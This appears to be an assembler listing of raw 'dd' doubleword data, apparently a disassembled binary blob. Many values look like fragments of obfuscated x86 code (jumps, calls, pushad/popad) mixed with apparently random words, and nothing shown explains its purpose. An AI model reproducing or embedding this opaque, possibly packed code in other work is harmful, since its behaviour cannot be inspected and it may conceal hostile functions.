		dd 1F0h, 10041700h, 30E4284Bh, 81DA36F4h, 0C0A2975Eh, 457EC76Bh
		dd 0AF6D5302h, 37C5F863h, 50DD4F1h, 8ED28D70h, 33F1D784h
		dd 92597CDFh, 63B0F4AFh, 8191D5F8h, 5A8EB7DAh, 15AB965h
		dd 7C430B52h, 0BE972A2h, 0A987D43Dh, 72B26321h,	0C81009EBh
		dd 9C4B8E7Eh, 6ACFB279h, 274A1104h, 0B2A96B29h,	21E5C88Fh
		dd 14568F3h, 0E0244714h, 0B9042734h, 0BA3165Eh,	2B5F7037h
		dd 0D18A8A54h, 0C737B22h, 0A4B75A18h, 0D85537BEh, 97DA7EC7h
		dd 3625F0B4h, 0D4878A58h, 0CDEEB3B1h, 6ED99CDFh, 47F665AFh
		dd 0EB70A064h, 492EDCC8h, 87EDE3B2h, 0A66BDEh, 51F7E1F9h
		dd 99ACEDD0h, 0D3000000h, 274A1104h, 0B2E2DE3h,	0D18E49C7h
		dd 41199052h, 468AAD5Ch, 416A8DCEh, 0A2E9B60Dh,	0DC39E5DAh
		dd 0D5590CFBh, 46F52EB0h, 0E07B9A68h, 0F01BFBDh, 2EAC8E15h
		dd 0EE317EC8h, 5EFD133Fh, 0CD91743Bh, 7F31645h,	40FE6259h
		dd 0E9CB52D2h, 6E7EC82Dh, 92597C2Bh, 0CAADAE66h, 87F46A2Bh
		dd 5E21DEh, 4A480000h, 112C7085h, 6649BAECh, 0C5E873A2h
		dd 0A6C99281h, 0E630AE62h, 5FA3C675h, 0BE85A8B3h, 0B4D78492h
		dd 16453AA8h, 0F025E305h, 88D33F6Bh, 74AE15A5h,	6DDCBAA1h
		dd 654B1004h, 6B8466EDh, 0C6097EC7h, 0E2990193h, 0D3B612D3h
		dd 0FE340B18h, 7A5C7EC7h, 1E87FE05h, 104DE88h, 2B000000h
		dd 694F0C04h, 6B886AF1h, 0CA0D7EC7h, 702E2CE7h,	10D4B7A4h
		dd 2B375A01h, 560511CFh, 9073E82Ah, 0E7A5BB00h,	0FA61AF2Fh
		dd 7E61284Bh, 1F0556BAh, 88ABB061h, 0E068DEC1h,	8A6DEE22h
		dd 0E9CF170Ah, 4C19AC71h, 0BE68E7C8h, 3DC74EDBh, 0FDC478C0h
		dd 76FDFDD3h, 78C14794h, 49A3D619h, 9382AEBCh, 2FDEA5C8h
		dd 0D2898B49h, 21F034EFh, 838E5C3Ah, 88381AA1h,	7ABD78C0h
		dd 0ECAAA8CBh, 0C7543724h, 78C087EFh, 6BB70C40h, 4FD7B5A6h
		dd 0F6D98291h, 12FFDF32h, 0B05F2649h, 16C8498Dh, 3E3C5FFCh
		dd 0C087D5B7h, 68175A78h, 0CFD796B9h, 78E32EE8h, 0B1931A92h
		dd 3678C088h, 0E4DC7F3h, 0CB4124EBh, 8F946322h,	12628E4h
		dd 484F0000h, 9C2309D1h, 78C07021h, 3C80A3E6h, 530809D5h
		dd 19F8C6A4h, 36DB1F42h, 137A3F25h, 0E077F256h,	23058C72h
		dd 0A878BFEBh, 8C78265h, 0E0A5BB00h, 3BDA1E07h,	56051114h
		dd 1100C4A7h, 6DA6644Ah, 2104CBEEh, 248302ABh, 3C08E490h
		dd 2F000000h, 260CD048h, 0C76B9D9Fh, 0FC1F62FEh, 0C76C0DEFh
		dd 0BC0395FEh, 69AAE3A8h, 0A6D98292h, 0C8ABAA46h, 260CD048h
		dd 1AB7E9AEh, 8689E72Ch, 941416A3h, 96D97EC7h, 9A32B8h
		dd 48CF0000h, 9C2309D1h, 78BF8BB1h, 0FE5DB676h,	426514DBh
		dd 6A4813FEh, 0A769759Ch, 1BCA91B4h, 2C35FAF8h,	7DC7CD1Dh
		dd 6338C5A8h, 0B478BF98h, 32DF3B80h, 58C14B29h,	96159C82h
		dd 5272AFCFh, 617153DAh, 0B3F672B0h, 0ED1053D0h, 35BC68A9h
		dd 72B06153h, 28AF95D8h, 72B06146h, 0B6D988CBh,	98BBA072h
		dd 7B9EBD54h, 4788EF81h, 0A3FBADEh, 0BCB05F28h,	68F1694Eh
		dd 0C645CCB2h, 826CA02Ah, 0E90C4FC4h, 7FC23F22h, 1AA119A1h
		dd 6CA0BC38h, 0DCC19A76h, 0B5A66D99h, 83E8CB92h, 0F8C0854Ah
		dd 1C81BBA1h, 7AA0B939h, 0C18E0D94h, 8B4B78B7h,	89A3D685h
		dd 0C2F06AB0h, 0DF2346F5h, 0F665AC32h, 30E00CD3h, 9241082Bh
		dd 3724EEACh, 9856DE54h, 37FBDE7Dh, 4BD24ADAh, 78B84969h
		dd 0D4B6ABEEh, 5978B848h, 37446716h, 0BAF2AAABh, 0E531864Eh
		dd 0C9512F2Ch, 2E510A0Bh, 51C08467h, 0B2D5868Dh, 952BFEBh
		dd 1FF3375Ah, 580754BFh, 0C4BB2935h, 8664F71Ah,	0DF0259B8h
		dd 6CEF23E1h, 239F8249h, 3, 41520C0h, 0E1254813h, 0C4082B30h
		dd 0A5E90C4Fh, 83C7EA71h, 62A6C992h, 4185A8B3h,	23678AD1h
		dd 74B6EEDh, 2A2B4E0Dh,	81E18951h, 4C1h, 4BB5300h, 29000000h
		dd 0C875BD9h, 4D685C24h, 89000057h, 8368243Ch, 8900004Eh
		dd 5150241Ch, 0A00872B9h, 59C88925h, 0AF3F0EBFh, 58C73123h
		dd 4EC81h, 24890000h, 24048124h, 4, 0FD89555Bh,	8B086B89h
		dd 0C483242Ch, 2434FF04h, 4C4835Bh, 51243C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0BE95C24h, 23FFF83Eh, 2266B130h
		dd 0B8812ECBh, 60F3CEAh, 0E0FFC503h, 0BD6AA87h,	2763442Ah
		dd 5CA4582Fh, 9C69CFAh,	2EFF10F7h, 39D901BFh, 562E0F19h
		dd 62BFA440h, 5DA834CDh, 5BB11191h, 4FFA2965h, 4F78F8B0h
		dd 1FADFCB5h, 2C461028h, 1EF49F2Eh, 4CADC3C0h, 3F57631Ah
		dd 5F196F28h, 27A45CEDh, 752E55B5h, 2E067B43h, 1EE24567h
		dd 37506967h, 10E0555Bh, 24EC86h, 3ECB8D8Dh, 0B589060Fh
		dd 6071CBDh, 6798D89h, 6A0607h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8166A4C3h, 0E89FFDE6h
		dd 12h,	0A2718F64h, 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh
		dd 0C58A805Dh, 85C7F55Ah, 6072CE5h, 5D74h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2FC35646h, 1709120Eh
		dd 89600C5Ah, 71A7D85h,	0BE806h, 8DD80000h, 46AE4900h
		dd 4D103B85h, 5BC88AB0h, 585C761h, 6072Dh, 0E8000000h
		dd 6, 0E433BDF8h, 6660BFE7h, 0BD01F98Bh, 60732C9h, 0B5FF5B61h
		dd 60711C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	2DC35040h, 248539CFh, 0BF0FB77Fh, 0BD95FFC1h, 0F060700h
		dd 18Ch, 6AFC00h, 16B595FFh, 0C08B0607h, 6F692CEBh, 2DA69D58h
		dd 8C87FEA9h, 761A8E29h, 58139D9Fh, 0EA1BA201h,	0B531B021h
		dd 6BCFEFFFh, 6116B1C0h, 3B008F8Dh, 0F1D7A00Dh,	10E829C4h
		dd 0F6000000h, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 0BFEA4169h
		dd 6371D92Fh, 0EAF0805Ah, 69EBC281h, 9E90000h, 0AA000000h
		dd 0A3AD7E6Dh, 6DECDE80h, 6BFD92BBh, 0C4F38132h, 8B326BE7h
		dd 72BD98Dh, 6632FF06h,	0D489F781h, 3810F5Eh, 80000000h
		dd 0F6814FCDh, 18043EE4h, 81CB8B66h, 25FA9FF6h,	74D8801Dh
		dd 8D3BF681h, 8D8B0E06h, 6073025h, 0BD893289h, 6071FC9h
		dd 2904EA83h, 71F3D85h,	1EB8106h, 0F000000h, 0FFFFB485h
		dd 952B60FFh, 60702E5h,	370F33BAh, 8D8D6164h, 60F4053h
		dd 21958B60h, 8B060722h, 715F98Dh, 8D896106h, 6070679h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DFC35747h
		dd 52C7F511h, 0B86D94D0h, 0E99D8B6Eh, 66060714h, 85C7D18Bh
		dd 6072CE5h, 73BCh, 7B465CBAh, 85C7F804h, 6072D05h, 0
		dd 5F19589h, 0B5FF0607h, 60732C5h, 7E8h, 0D8679E00h, 0E03A0CD4h
		dd 1FD3BDBAh, 95FF586Fh, 60700BDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0B4C35242h,	626CAF55h, 858988B0h
		dd 607042Dh, 2FB99589h,	6A0607h, 16B595FFh, 0C08B0607h
		dd 75985CEBh, 0E03841A7h, 755481F0h, 0C5A3203Bh, 50844BDFh
		dd 0EAB91BE7h, 0C5010517h, 8AE43885h, 0C8AB1049h, 18F9AE72h
		dd 0C6D21F5Ch, 1A81BEE0h, 490E743Fh, 1B306D7Ch,	4651D700h
		dd 150AC1F6h, 992D563Ch, 0C611BE70h, 650F2F65h,	0CD10BB2Eh
		dd 98AA4E1h, 0D7F8FBBFh, 60405679h, 0EB2D99h, 3CFE9h, 358BF00h
		dd 9EBD5725h, 3D1EF2C0h, 0DA81915Fh, 74E72EFCh,	6671FB96h
		dd 0CEACAFh, 99674516h,	3503E17Ah, 0CFA17FDCh, 0AB8264EBh
		dd 2D0784D6h, 4B10048Eh, 0B3719F6Dh, 4B401BF5h,	7EC76B69h
		dd 0CEF16AA7h, 0F9DF2207h, 0C76B9072h, 23D2157Eh, 0C09B7745h
		dd 62F91CDAh, 0DA3B097Fh, 4563FDh, 0BA69150Ch, 54070EDCh
		dd 2329EE76h, 2CDFC026h, 191C5C32h, 0E49F7CE6h,	440B2E2Dh
		dd 0B2A96995h, 500B0BCFh, 686FA472h, 46ECE175h,	3AC1A700h
		dd 7EC80C58h, 0DEB9ADDh, 0AB89D23Fh, 0B967DA14h, 5D3E1C78h
		dd 3C1A7B4h, 0AF6A4D0Eh, 91B4A76Bh, 0F4CC6A2h, 6CB2A731h
		dd 0CD54FF86h, 569972B1h, 95502633h, 42DE72B2h,	38C2AB7Dh
		dd 0C5F89E6Dh, 2FBD665Ch, 0CD5D4031h, 423451F6h, 551AEA9Dh
		dd 0E47D0BBCh, 0E52609BAh, 103h, 4A11040Ch, 74FBDF27h
		dd 7EC76BCEh, 61A5C80Bh, 0C5ABB0h, 0A0A97FC8h, 0C192C52Ah
		dd 0CF5AA01Dh, 0DA62D8BBh, 7E61FA1Ch, 1E0457BAh, 0C7AAB160h
		dd 0CD150C0Ch, 5B8160E7h, 3EFE78C1h, 500B08D6h,	0DC3A7EA1h
		dd 0FE21D07Fh, 41C85CBAh, 78C1335Fh, 0CFF2A1E4h, 0B2D5868Bh
		dd 457BFEBh, 0A51A22E1h, 2F9402F6h, 0C19A7B39h,	30F4D79Eh
		dd 4714FDE1h, 0D0AE5D24h, 250BD346h, 0BA42D79Eh, 82945472h
		dd 86442AD9h, 2FEACD8Eh, 4B312AEBh, 0EDD3888Dh,	0BA238466h
		dd 0E3C60972h, 0E5769F6Dh, 35FFC4C2h, 0E80DD67Dh, 150D8D70h
		dd 0D062E9CFh, 0D572BA21h, 6E2CB492h, 16F87FA5h, 9B72BA23h
		dd 0BF86A958h, 1DC55CDCh, 0C19A7937h, 0E2D960DEh, 9F6CB32Eh
		dd 20F5395Ch, 868F5D3Bh, 0AEB2B2D5h, 0EB8B0AF2h, 72A5E940h
		dd 2FC07421h, 0B197466Ch, 0B2B59C2Ah, 7856996Ch, 12F06BAAh
		dd 0A98B128Ah, 2E6CB2B7h, 48A308EBh, 9C2309D1h,	78C074A1h
		dd 2002366h, 4FD4B23Dh,	0BB9E3FC9h, 63411AF7h, 0A0B8AD84h
		dd 43198C7Ch, 7978C024h, 5DE5C398h, 247C5EE5h, 0BE0178C0h
		dd 0DDFA17DBh, 0A40D913Ch, 745A09CBh, 0D1FD5EB6h, 7B361942h
		dd 5E81DA37h, 2BEBA99Fh, 2DB5BCACh, 0E79689D1h,	190F7404h
		dd 92381AA1h, 7ABD78BFh, 1D3ED397h, 8AEF963Fh, 289CE490h
		dd 0C3000000h, 2309D148h, 0C07FBD9Ch, 0D4F73A78h, 0FCDA8190h
		dd 9375FC74h, 1878C057h, 0CA39A2D5h, 86763F18h,	1227A3h
		dd 4C40000h, 0E62A4D0Eh, 9072F92Bh, 157EC76Bh, 0D64523D2h
		dd 6F4D0E04h, 0BA41B99Dh, 7EC76AD8h, 0B9371A5Dh, 0C76B5432h
		dd 6B8ED17Eh, 4E71EA27h, 2FEFD442h, 6AE6C44Bh, 20637EC7h
		dd 6AD1B33Ah, 13567EC7h, 0B9A26F2Dh, 0A3074B96h, 10DEB5E0h
		dd 3A087E61h, 0E09E84D7h, 15FB2734h, 795C2346h,	10126903h
		dd 29h,	4BD24AADh, 7EC76B69h, 6B8466EDh, 0C6097EC7h, 0A0729EE1h
		dd 0EED198BBh, 5174E72Ah, 0AAD3040Dh, 0EA7A8BE8h, 702200AFh
		dd 48130465h, 2B30E125h, 0C4FC408h, 0EA71A5E9h,	0C99283C7h
		dd 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh,	89502A2Bh
		dd 405E0h, 0E8830000h, 24043304h, 33240431h, 525C2404h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	8952241Ch, 4C281E2h
		dd 83000000h, 148704EAh, 34895C24h, 40BB6824h, 1C8B060Fh
		dd 4C48124h, 68000000h,	5DAAh, 81242489h, 42404h, 835E0000h
		dd 1C8904ECh, 8468F24h,	5324348Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 34FF5C24h, 0C4815B24h, 4,	0F836F1E9h, 0D2643AFFh
		dd 65F30FADh, 1B12E08Ah, 7076053Ah, 0F43F4B8h, 0FFC50306h
		dd 1F261DE0h, 16C3B313h, 0E0681A3Ah, 9C5E1935h,	7A31D553h
		dd 2E5BC31Ah, 0B516B418h, 2ACF1A75h, 0C4337475h, 456E7B22h
		dd 0A563A979h, 938AC3Bh, 0DD823F73h, 12C0564Ch,	5EC5BE73h
		dd 0DA8C3F4Fh, 0F99E0840h, 0F59B022h, 30BFCBBFh, 0F68D8C6h
		dd 218Ah, 8D0F6000h, 0
		dd 13E8h, 63B50D00h, 847EB233h,	0D74CE6E5h, 0B293A1FDh
		dd 183F79Eh, 0E8F8615Eh, 0Dh, 65B218FFh, 49155953h, 4D535969h
		dd 0D3B70FC1h, 850F565Eh, 6, 8C0Fh, 0E9580000h,	7, 32CF400Bh
		dd 66367ED4h, 0FC94A3B9h, 13E9h, 1C8D1C00h, 0BEAC92DAh
		dd 0E98A8435h, 0DF25C916h, 801BB06Bh, 1A6ABB66h, 0E8B8E880h
		dd 0Ah,	0DC4A16B8h, 0B841483h, 0EE8A80C2h, 0FDE8A5Fh, 989h
		dd 8B666000h, 75BE66C1h, 0D68B617Eh, 0E9F1BF0Fh, 0Ah, 88D508Ah
		dd 0D43BB9AAh, 8B6678C1h, 810F53D0h, 2,	0E85F6160h, 0Fh
		dd 30203243h, 2F61E8F4h, 46D7CF0Bh, 0E8BE92ACh,	12h, 750B8DA5h
		dd 821620A8h, 0E7011776h, 522FF2F2h, 61607888h,	0B0515B5Eh
		dd 816659EBh, 0B4A175EBh, 0FD68B7Bh, 9E8DABFh, 2000000h
		dd 74D2D5CEh, 64B98D33h, 0AE957h, 80ED0000h, 0BF6ED938h
		dd 439751B6h, 0FF55E59h, 68Bh, 8BE28100h, 0F64E8BFh, 11E9D3B7h
		dd 0B4000000h, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 5CF5244Bh
		dd 9E9C7B7h, 6A000000h,	0A2C70555h, 78121731h, 0AE9h, 0B7ECC800h
		dd 0C429D2A8h, 804C94A1h, 70B06DEAh, 5800Fh, 81660000h
		dd 661C7BE3h, 6676EDB8h, 0F304CBBh, 188Bh, 13E900h, 50910000h
		dd 5E9A11AAh, 0B6E4D4B0h, 4E27B318h, 1255371h, 66F18AE5h
		dd 0E987AAB9h, 8, 64A7D2E6h, 4A26AE69h,	0D88B28B3h, 0E9F6BF0Fh
		dd 0Fh,	0DD9E18DBh, 0BCF94A75h,	0D28985h, 66724824h, 0F9EF36BEh
		dd 3870F60h, 0F000000h,	6661F1B7h, 0B966F88Bh, 0F8F8144Bh
		dd 0B62964BEh, 8199B561h, 0CDA14CDFh, 13E85Dh, 0FD1C0000h
		dd 1A520168h, 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh,	0C2816609h
		dd 0B95E361Ch, 76E9DEA7h, 800FF5FCh, 15h, 0F8F0Fh, 0AE90000h
		dd 1D000000h, 0B415F270h, 0ED8F9044h, 739EBEC2h, 860F036Bh
		dd 0
		dd 28C0F60h, 8B000000h,	8E8DEh,	64E70000h, 2F16C7A9h, 0EE8C1B6h
		dd 0B000000h, 35E21251h, 59195690h, 1BEDDE23h, 61585E2Fh
		dd 58D0F60h, 0B8000000h, 1CDB3A6h, 0C820Fh, 7E90000h, 82000000h
		dd 322CA78Ah, 0F61EBC3h, 0BF0FC7BFh, 0F8B866D3h, 8C0F55h
		dd 8B000000h, 0DE9F3h, 63CC0000h, 923594B8h, 8514428Dh
		dd 8BE4ED91h, 7BD281FBh, 0F1A3E7Bh, 0EF81C1BFh,	0BDCB03Bh
		dd 8166F38Bh, 0F990DCCBh, 58C0Fh, 81660000h, 0F82D71EFh
		dd 0D081F18Bh, 5EA588CAh, 0E890FF9h, 0E9000000h, 9, 40243845h
		dd 0A518682Eh, 0FED980AAh, 0BE9h, 8F60A600h, 4DB3FE3Dh
		dd 676EF121h, 0FC38B66h, 389h, 0C28B6600h, 58D0Fh, 81660000h
		dd 0FF5B7C3h, 286h, 604FB200h, 7E9h, 0D7B73100h, 1B8A4EBEh
		dd 61D0BF0Fh, 3840Fh, 8B660000h, 0F98B66F8h, 810F60h, 8B000000h
		dd 605661F9h, 81C28B66h, 0B119DDE7h, 81586127h,	974F37E9h
		dd 48F28149h, 0FC08E6C1h, 0B70FB9B0h, 0FFB8BD6h, 0B81h
		dd 5E800h, 0E5A80000h, 5804E382h, 8A6050F5h, 0CEBE66DEh
		dd 0E958612Fh, 0Bh, 0CD298D23h,	0CD3D6C60h, 0E9D863ACh
		dd 0Ah,	0DB989C6Ah, 0C6A62466h,	8BF8C07Ch, 3830FC7h, 66000000h
		dd 0F280D98Bh, 0BE852h,	0D23A0000h, 0D666ADD3h,	2B81D1F6h
		dd 0C8B70F45h, 0CE95Fh,	934A0000h, 0A25CCD6Dh, 3CEABC68h
		dd 0B70F1D3Dh, 0FC66B3F3h, 108C0Fh, 0BE90000h, 67000000h
		dd 0D6868890h, 96FFE6D6h, 0DE9E0E5h, 0BA000000h, 0A683E6A2h
		dd 7B3E3B3Bh, 5E97867Bh, 0AE8h,	5FE4EB00h, 1473BE42h, 8BE48D74h
		dd 32B05EF7h, 70A3B966h, 27BFE981h, 0C28B560Ah,	0DAA086BBh
		dd 0EB4DBA5Ch, 840F5550h, 17h, 12E9h, 0C44CCD00h, 226F139Ah
		dd 620DBD7Ah, 83A65B47h, 0E95802E6h, 8,	46C84F54h, 0CDC1438Fh
		dd 0F6FFB966h, 115CB866h, 0F8F9F081h, 8B6600C4h, 0C38B66DFh
		dd 8389EE81h, 0FF85E72h, 8Fh, 0F8D78B00h, 20EB8166h, 8166F97Ah
		dd 81F69ED9h, 1747A5CAh, 34F38110h, 0BA53114Dh,	0CF393Bh
		dd 880FE28Ah, 5, 74DA8166h, 0C797BA3Bh,	8060455Ch, 81602ED0h
		dd 0D72629E3h, 0DFE28148h, 610D75E2h, 0FE961h, 0AA240000h
		dd 0D97B447Dh, 0B1E9FFDFh, 3AD8ED5Dh, 68D0FA4h,	0F000000h
		dd 8Dh,	0EE800h, 61FA0000h, 0D7574409h,	7257B9DEh, 0E172CDD3h
		dd 505A74B6h, 0CE8h, 0F8E15900h, 0F324B9CDh, 2BDAA768h
		dd 0FFBF0F04h, 870F5E5Bh, 5, 343F2BBFh,	0E95A563Ah, 0Ah
		dd 26786617h, 1BB755ECh, 0F18B8CA9h, 74F08166h,	0E9D78B79h
		dd 0Dh,	25B61B8Eh, 64595076h, 0DC495EBh, 0ECB86603h, 5E9F565h
		dd 5D000000h, 2796B96h,	0DF4649B9h, 0C124B94Fh,	5E86F6Bh
		dd 7C000000h, 2B47F2DAh, 8E9h, 4A8C1200h, 0A8898B6Ah, 5B45BC4h
		dd 0FFB8B66h, 385h, 0C0BF0F00h,	0BE2DCA80h, 4DB3ABFAh
		dd 9CEEBB66h, 0E1483ABAh, 0E8F78B64h, 8, 8B471274h, 7B1AC5F4h
		dd 0F505BF9h, 689h, 8E0F00h, 5F000000h,	8168F480h, 97018FD2h
		dd 50DA8148h, 0E938A319h, 0Ah, 6BB49232h, 0C1CC46F7h, 0F9FC4C80h
		dd 0C1E078BBh, 5810F3Ah, 0BB000000h, 1FF2E537h,	38D0Fh
		dd 8B660000h, 837FBAD6h, 0F603DB8h, 38Ah, 0D8BF0F00h, 68B0Fh
		dd 8E0F0000h, 0
		dd 0D0BF0F61h, 8AF8BF0Fh, 12E9C8h, 26950000h, 8A5701E7h
		dd 8E95557Ah, 0C1DB09CEh, 0D59C3D35h, 0FF9AEB0h, 58Dh
		dd 32BBA00h, 23B54941h,	0FED78166h, 0C3BF66A0h,	0A6BAF5EFh
		dd 6658ECA6h, 0E8FCC68Bh, 14h, 0EF489720h, 0D055C73Eh
		dd 905D7291h, 0D2F0BBCEh, 0E442BD41h, 63C38166h, 0FDB559FDh
		dd 6E9h, 3967F500h, 60FF64ADh, 396CBE66h, 0BA6185B6h, 7E31646Eh
		dd 81C9BF0Fh, 0E274AF3h, 2890F6Ah, 8B000000h, 14DE81C7h
		dd 0E93879A1h, 0Fh, 0D4E6BDBDh,	0AC4BC82h, 0EF3B6A1Ah
		dd 8105F44Bh, 0BE3020F2h, 6680B75Eh, 0D1B6C681h, 0D88166FCh
		dd 8166F289h, 0E9572AE1h, 5, 81207C2h, 14E9E9h,	320E0000h
		dd 0B8B8F71Dh, 0BE668513h, 0B8B5C0CFh, 83E58B66h, 0CB816AAFh
		dd 10302F65h, 58D38B56h, 0D0F28166h, 14E9C1h, 37480000h
		dd 231C84C7h, 59446B73h, 32E29120h, 38A6AEE9h, 0C28B058Fh
		dd 108B0Fh, 830F0000h, 0Ah, 5E9h, 0D15E9D00h, 0B70F10B9h
		dd 0B966F8D3h, 0E0815B12h, 3ED39892h, 3800Fh, 0BF0F0000h
		dd 0E95953F6h, 0Fh, 0C5188872h,	0EEA4C5A6h, 2C273152h
		dd 6059F1B2h, 13E78166h, 71F781D7h, 6118AC29h, 24CBBE66h
		dd 0FA8BFA8Bh, 0E905E780h, 7, 2871F593h, 6676D58Ah, 0F28BD88Bh
		dd 60CFBF0Fh, 2302E181h, 20B4602Bh, 22B86661h, 0BE967h
		dd 28A50000h, 6333227Eh, 1FFEF111h, 13B85044h, 5F6BC45Ah
		dd 10E9h, 6D1CCE00h, 0A5E459D0h, 31A16BFEh, 34B337D4h
		dd 9FD0817Bh, 56148DCFh, 0FE8h,	7B0A0700h, 98F35457h, 53951878h
		dd 97F9609h, 0D4DA8166h, 0F58580Bh, 1A86h, 12E800h, 0BED10000h
		dd 7A65A380h, 0A37A3086h, 0CF12FA7h, 8B604221h,	0F586160h
		dd 185h, 840FF900h, 9, 38C0Fh, 8B660000h, 0F9B70FC7h, 12E860F8h
		dd 0FF000000h, 0BEEA36D7h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh
		dd 0CED580BFh, 6E8605Fh, 0E5000000h, 9D6ACCE1h,	0BA665FF0h
		dd 6161E2AEh, 62B2F5F8h, 3C21B866h, 66C2E480h, 2D4BE681h
		dd 86F360BEh, 13E812h, 18BA0000h, 8C91A267h, 5CB2B913h
		dd 0B80E75B9h, 31DA9599h, 11E9BFh, 19220000h, 6993060Dh
		dd 0F1AFD033h, 0EFD0F38Ch, 58EAFDD6h, 0B3F2B70Fh, 0FE8B665Ch
		dd 0C181D5B2h, 3039A93Dh, 880F02B1h, 3,	60C7B70Fh, 0FE8ADC8Ah
		dd 66FA8B61h, 0F555F5BBh, 3D5B9FBAh, 108B0F6Dh,	0E8000000h
		dd 6, 41CDF0DCh, 0B866A0E6h, 0B35F27B0h, 890FF2h, 8B000000h
		dd 0D18166F8h, 66600349h, 0E936C2BAh, 11h, 0B0024EA6h
		dd 0DE908DE8h, 7395387Ch, 53D02735h, 0F60611Ah,	28Ch, 8B616000h
		dd 816661C8h, 663F8BC3h, 579DF5BAh, 5EF6BF0Fh, 5E960h
		dd 0EA2B0000h, 614CADD1h, 8BD98B66h, 0CE8DAh, 98E70000h
		dd 9FE34B3Ch, 0FFFA6720h, 860FE45Ah, 0
		dd 0CE86058h, 0FF000000h, 0F5C19BB1h, 0FD8F20F7h, 6626DD29h
		dd 0E95BD78Bh, 5, 0CD167531h, 0D38A6117h, 9E8D5B3h, 14000000h
		dd 0B4DC75D7h, 0A56F8C4Dh, 59D38B66h, 0F14E280h, 58Fh
		dd 0DF816600h, 0FB8BE11Fh, 8BD68B66h, 0DE8BF8D1h, 9256BA66h
		dd 12E9h, 257DA500h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h
		dd 0B48D2F53h, 28D0F65h, 8A000000h, 8F0F60C5h, 2, 0BB6637B5h
		dd 0F616670h, 682h, 6BD18100h, 813A800Eh, 0B1FFFDE0h, 0F2816617h
		dd 0FCFC30E9h, 6E9h, 0A965A00h,	0B620CA24h, 30EB8152h
		dd 604755F6h, 6196B0F8h, 0F88B6660h, 71B7F7BFh,	0DE9612Ah
		dd 5C000000h, 3A63863Fh, 56FB4DBDh, 0F1F35B22h,	0E800Fh
		dd 9E90000h, 51000000h,	98F1E345h, 0E4F6A16h, 11E9h, 0BE575500h
		dd 55CF79CEh, 9C5B5588h, 34BB029Bh, 8B6645C3h, 8850FD9h
		dd 53000000h, 870Fh, 0E95B0000h, 14h, 0FD01CD30h, 986EE83Bh
		dd 33F5E5EDh, 0A83C07BCh, 1480B9E1h, 1850Fh, 0B8FC0000h
		dd 5F38E71Eh, 0BE9FE8Bh, 5A000000h, 55DD3E45h, 1C9FAFDEh
		dd 0D080AC8Ch, 0E9816693h, 860F0D37h, 0Dh, 5E8h, 0FD135000h
		dd 0F18A2085h, 608BB55Fh, 97F78166h, 8B6652D3h,	0F8615AF0h
		dd 0EBF1BF66h, 0C18B6660h, 61D6BF0Fh, 0C5BE6660h, 61F38B12h
		dd 14E9h, 1B101900h, 5111C320h,	0AE201038h, 0FC30B83Fh
		dd 0C46BF375h, 0F181668Bh, 13E91929h, 87000000h, 807C064Ch
		dd 1B53BFF1h, 0B6D34D05h, 6F976D0Dh, 6060F446h,	61DEBF0Fh
		dd 0E8D08B61h, 11h, 22B8B18Ah, 511591DDh, 4982DBF4h, 4273CC18h
		dd 0FED7808Ah, 8E859h, 88F10000h, 89D623D1h, 0CE8B760Dh
		dd 0A6BEF95Eh, 0F28939Bh, 58Fh,	0BF0F5300h, 6E859F0h, 0E7000000h
		dd 2F7D1792h, 0F2B70F17h, 0B8DF8B58h, 2F6D9455h, 52F56EB5h
		dd 6840Fh, 0C7810000h, 21CCFA25h, 0C68B665Bh, 0BB59F957h
		dd 67170E9Ch, 59CAB866h, 0BF0F5352h, 665958F6h,	0AE4BD381h
		dd 9FDA8166h, 2890F19h,	8A000000h, 12E9F3h, 52370000h
		dd 0A0C4A2A0h, 40D9B2E4h, 0B4E9F88Dh, 5BF51D38h, 0EE950h
		dd 686A0000h, 5777A9B4h, 4841D7B0h, 0A9A324E9h,	0DEB70F5Bh
		dd 5744C3B8h, 7830F4Bh,	56000000h, 0ECE88166h, 0E8815981h
		dd 19E33D0Fh, 0FCF6CC80h, 0E8F28B66h, 10h, 11B28C7Ah, 645F3632h
		dd 0C370B4A1h, 0ECC70F21h, 5BCF8B66h, 0F0C7B866h, 323DB866h
		dd 75F38166h, 9070BB4Bh, 0DE94A8Ah, 50000000h, 5FFE31EBh
		dd 1F2BB3BCh, 0C48786EBh, 0E9B6CC80h, 13h, 1BF07AB7h, 268481C0h
		dd 0DCB17F0h, 9A75ADB0h, 0F40C57Ah, 820FDAB7h, 2, 8160C88Ah
		dd 2E8CC9C9h, 5061F924h, 0F8B70F5Ah, 0B407C880h, 1840F0Ah
		dd 0F5000000h, 0DE9h, 0BBE9B900h, 24E06C55h, 0A7EFC728h
		dd 8B66127Bh, 0CE960F7h, 0A7000000h, 0BE723893h, 0AA845523h
		dd 0F1B585Dh, 178Ch, 12E900h, 2840000h,	65BF33BEh, 2E83FDEh
		dd 0B7F0863Ah, 0A74CD64Ch, 0F2816661h, 840F28A1h, 0
		dd 0DCF18166h, 1870F55h, 0F9000000h, 14E8F281h,	830F3206h
		dd 2, 6653D18Bh, 0CBAFCA81h, 0F0BB665Eh, 0C9B70FCCh, 0EE957B2h
		dd 55000000h, 0F7AA0652h, 9E39266Fh, 5756168Ch,	840F5009h
		dd 5, 13F38166h, 81665951h, 661234C0h, 9809C181h, 60D08B66h
		dd 10850Fh, 0BE90000h, 0F7000000h, 0A6B2EBBBh, 17A48C34h
		dd 0CA8B5D0Fh, 22810F61h, 0E8000000h, 0Bh, 0DB4ADFBEh
		dd 9DC5808h, 0E8BA8E89h, 0Bh, 0D77F8448h, 0B40E39B6h, 5AF3CFE7h
		dd 8057605Ah, 0B35B27D0h, 5A566154h, 0D75BBA66h, 0ACEF8166h
